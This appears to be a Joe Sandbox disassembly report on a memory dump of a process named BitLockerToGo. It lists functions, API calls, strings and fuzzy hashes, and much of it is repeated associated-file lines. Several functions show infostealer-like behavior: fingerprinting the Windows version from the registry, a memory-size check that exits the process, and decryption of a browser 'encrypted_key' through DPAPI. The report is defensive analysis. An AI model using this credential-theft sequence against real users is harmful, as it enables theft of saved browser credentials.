Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 4f7cdde64bab42acc2160e34550b0b76a281f5b8dfadefd424e9427e5348417f
Instruction ID: d492d2cf88bea497fa17aa175f6cabf89976e034fe0373d55950aacf363bf516
Opcode Fuzzy Hash: 4f7cdde64bab42acc2160e34550b0b76a281f5b8dfadefd424e9427e5348417f
Instruction Fuzzy Hash: F7213BB1D00209ABDF14EFA4E849BEE7B75FF44320F108225E925B7280EB706A15CF91

Function 02767690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 027676A4
RtlAllocateHeap.NTDLL(00000000), ref: 027676AB
RegOpenKeyExA.KERNEL32(80000002,029E12A0,00000000,00020119,00000000), ref: 027676DD
RegQueryValueExA.KERNEL32(00000000,029E5A28,00000000,00000000,?,000000FF), ref: 027676FE
RegCloseKey.ADVAPI32(00000000), ref: 02767708

Strings

Windows 11, xrefs: 027676BD

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: d70b1acd6a4449bcb79091e7c6a931d2cc2b38519d0eb1a06e4ca198144aac8d
Instruction ID: 8ebeed2b7b169b8b4ccd6ebc13521024d2d2e69aa4dc88cd7fd03a4d719e26a7
Opcode Fuzzy Hash: d70b1acd6a4449bcb79091e7c6a931d2cc2b38519d0eb1a06e4ca198144aac8d
Instruction Fuzzy Hash: 94014FB5E84205BBDB04DBE9DD4EF7AB7B8EB48715F004854FE0497280E67599108F90

Function 02767720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 02767734
RtlAllocateHeap.NTDLL(00000000), ref: 0276773B
RegOpenKeyExA.KERNEL32(80000002,029E12A0,00000000,00020119,027676B9), ref: 0276775B
RegQueryValueExA.KERNEL32(027676B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0276777A
RegCloseKey.ADVAPI32(027676B9), ref: 02767784

Strings

CurrentBuildNumber, xrefs: 02767771

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 1dc4f48afe880a7d613ea284bf54b2929fe9fc3a6da694bc42395822fb4a1722
Instruction ID: d01e61120dbf148b8ae836968c3dfdba1a1cf12f1a4e073a5630bfcfb3406d0d
Opcode Fuzzy Hash: 1dc4f48afe880a7d613ea284bf54b2929fe9fc3a6da694bc42395822fb4a1722
Instruction Fuzzy Hash: 59014FB5E84308BBEB00DBE5DC4EFBEB7B8EB48711F004558FA05A7280D67156108B91

Function 027640B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 027640D5
RegOpenKeyExA.KERNEL32(80000001,029E5498,00000000,00020119,?), ref: 027640F4
RegQueryValueExA.ADVAPI32(?,029E5E78,00000000,00000000,00000000,000000FF), ref: 02764118
RegCloseKey.ADVAPI32(?), ref: 02764122
lstrcat.KERNEL32(?,00000000), ref: 02764147
lstrcat.KERNEL32(?,029E5EF0), ref: 0276415B

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: ab2f35484252023c1776400796e0d5bda4d14619bf50da905f36f8ce390e333d
Instruction ID: 20d7c510d6d6e909686e829c43d609686ab9ac291a5d91a94da9964403b98565
Opcode Fuzzy Hash: ab2f35484252023c1776400796e0d5bda4d14619bf50da905f36f8ce390e333d
Instruction Fuzzy Hash: 9A41B6B6D401186BDB25EBA0DC5DFFE733DEB48300F404958AA1956180EA755A98CFE1

Function 027599C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 027599EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 02759A11
LocalAlloc.KERNEL32(00000040,?), ref: 02759A31
ReadFile.KERNEL32(000000FF,?,00000000,027602E7,00000000), ref: 02759A5A
LocalFree.KERNEL32(027602E7), ref: 02759A90
CloseHandle.KERNEL32(000000FF), ref: 02759A9A

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 08c69063e46b24982b58a337e86d040ad7d45264188ff9bc5e67452f3a437da9
Instruction ID: 89876cbaa34803c3e83393ac560188250284af03ffe1c635385d72cc083d0a01
Opcode Fuzzy Hash: 08c69063e46b24982b58a337e86d040ad7d45264188ff9bc5e67452f3a437da9
Instruction Fuzzy Hash: BA3138B4E00209EFDB14CFA4C889BAEB7B5FF48354F108158F901A7280D779AA51CFA4

Function 02764780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,029E5D28), ref: 027647DB

Part of subcall function 02768DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 02768E0B

lstrcat.KERNEL32(?,00000000), ref: 02764801
lstrcat.KERNEL32(?,?), ref: 02764820
lstrcat.KERNEL32(?,?), ref: 02764834
lstrcat.KERNEL32(?,029E01A8), ref: 02764847
lstrcat.KERNEL32(?,?), ref: 0276485B
lstrcat.KERNEL32(?,029E5478), ref: 0276486F

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 02768D90: GetFileAttributesA.KERNEL32(00000000,?,02760117,?,00000000,?,00000000,02770DAB,02770DAA), ref: 02768D9F

Part of subcall function 02764570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 02764580
Part of subcall function 02764570: RtlAllocateHeap.NTDLL(00000000), ref: 02764587
Part of subcall function 02764570: wsprintfA.USER32 ref: 027645A6
Part of subcall function 02764570: FindFirstFileA.KERNEL32(?,?), ref: 027645BD

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 25ee186b6d2e0405f4a2eeb05c212d563d2c55203ff74a7f253ed17b403a6394
Instruction ID: 87814fa384607eb3aa67774922aa71343b871f29c6e6e6db410c5baaf537b4c5
Opcode Fuzzy Hash: 25ee186b6d2e0405f4a2eeb05c212d563d2c55203ff74a7f253ed17b403a6394
Instruction Fuzzy Hash: 32315EB2940318A7CB15FBB0DC8DEFD737DAB58700F444989AB1996080EA749B898F95

Function 02751220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0275123E
__aulldiv.LIBCMT ref: 02751258
__aulldiv.LIBCMT ref: 02751266
ExitProcess.KERNEL32 ref: 02751294

Strings

@, xrefs: 02751233

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 00d611d4cf8049e4d1fd86a5e0e6405200244630a98d5f2ccff89e58416a41f9
Instruction ID: bac6d6dae1a953ead272c11d634f180a8f307d36692096978ff3a48fac222e16
Opcode Fuzzy Hash: 00d611d4cf8049e4d1fd86a5e0e6405200244630a98d5f2ccff89e58416a41f9
Instruction Fuzzy Hash: 0E0112B0E44318BAEB10DFE4CC4DBAEB778EB04706F608444EB09B62C0D7B555458F59

Function 02759CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0276A740: lstrcpy.KERNEL32(02770AEF,00000000), ref: 0276A788

Part of subcall function 027599C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 027599EC
Part of subcall function 027599C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 02759A11
Part of subcall function 027599C0: LocalAlloc.KERNEL32(00000040,?), ref: 02759A31
Part of subcall function 027599C0: ReadFile.KERNEL32(000000FF,?,00000000,027602E7,00000000), ref: 02759A5A
Part of subcall function 027599C0: LocalFree.KERNEL32(027602E7), ref: 02759A90
Part of subcall function 027599C0: CloseHandle.KERNEL32(000000FF), ref: 02759A9A

Part of subcall function 02768E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 02768E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 02759D39

Part of subcall function 02759AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,02754EEE,00000000,00000000), ref: 02759AEF
Part of subcall function 02759AC0: LocalAlloc.KERNEL32(00000040,?,?,?,02754EEE,00000000,?), ref: 02759B01
Part of subcall function 02759AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,02754EEE,00000000,00000000), ref: 02759B2A
Part of subcall function 02759AC0: LocalFree.KERNEL32(?,?,?,?,02754EEE,00000000,?), ref: 02759B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 02759D92

Part of subcall function 02759B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 02759B84
Part of subcall function 02759B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 02759BA3
Part of subcall function 02759B60: memcpy.MSVCRT(?,?,?), ref: 02759BC6
Part of subcall function 02759B60: LocalFree.KERNEL32(?), ref: 02759BD3

Strings

, xrefs: 02759DC1
"encrypted_key":", xrefs: 02759D30
DPAPI, xrefs: 02759D89

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002832000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000283F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000285F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000286B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000028F5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002915000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000291B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000299A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061933843.00000000029AC000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2750000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 73dab84dcd4461a5d769192ef9d8cad04bdf06ceade72eb057a350b6d812915b
Instruction ID: 460008154d3684d94ecc3c577995208c616d1e807b713038ae8a63cb4be23566
Opcode Fuzzy Hash: 73dab84dcd4461a5d769192ef9d8cad04bdf06ceade72eb057a350b6d812915b
Instruction Fuzzy Hash: 9C313BB6D10219EBDF04DFE4DC89AEFB7B9AB48304F144518EE05A7240E770AA14CFA1

Function 6C80C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C80C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C80C969
GetSystemInfo.KERNEL32(?), ref: 6C80C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C80C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C80C9E2

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: f7fddd48446b66624f989ddf55f757fe03e7b97f552272bf7b28bd8c8e1d3731
Instruction ID: 30e341699e2e63c723fbf29d5a2f39e223cda5f639fb32d69e3c15c830b377e5
Opcode Fuzzy Hash: f7fddd48446b66624f989ddf55f757fe03e7b97f552272bf7b28bd8c8e1d3731
Instruction Fuzzy Hash: 5721FB317016146BDB355E65DD8CBAE7279AF46708F50092AF90397741E7206840C7F1

Function 02767E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 02767E37
RtlAllocateHeap.NTDLL(00000000), ref: 02767E3E
RegOpenKeyExA.KERNEL32(80000002,029E10E0,00000000,00020119,?), ref: 02767E5E
RegQueryValueExA.KERNEL32(?,029E5438,00000000,00000000,000000FF,000000FF), ref: 02767E7F
RegCloseKey.ADVAPI32(?), ref: 02767E92

Memory Dump Source

Source File: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, Offset: 02750000, based on PE: true

Associated: 00000001.00000002.2061364031.000000000276E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027D8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027DF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.00000000027E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.0000000002801000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2061380170.000000000280D000.00000040.00000400.00020000.00000000.sdmpDownload File
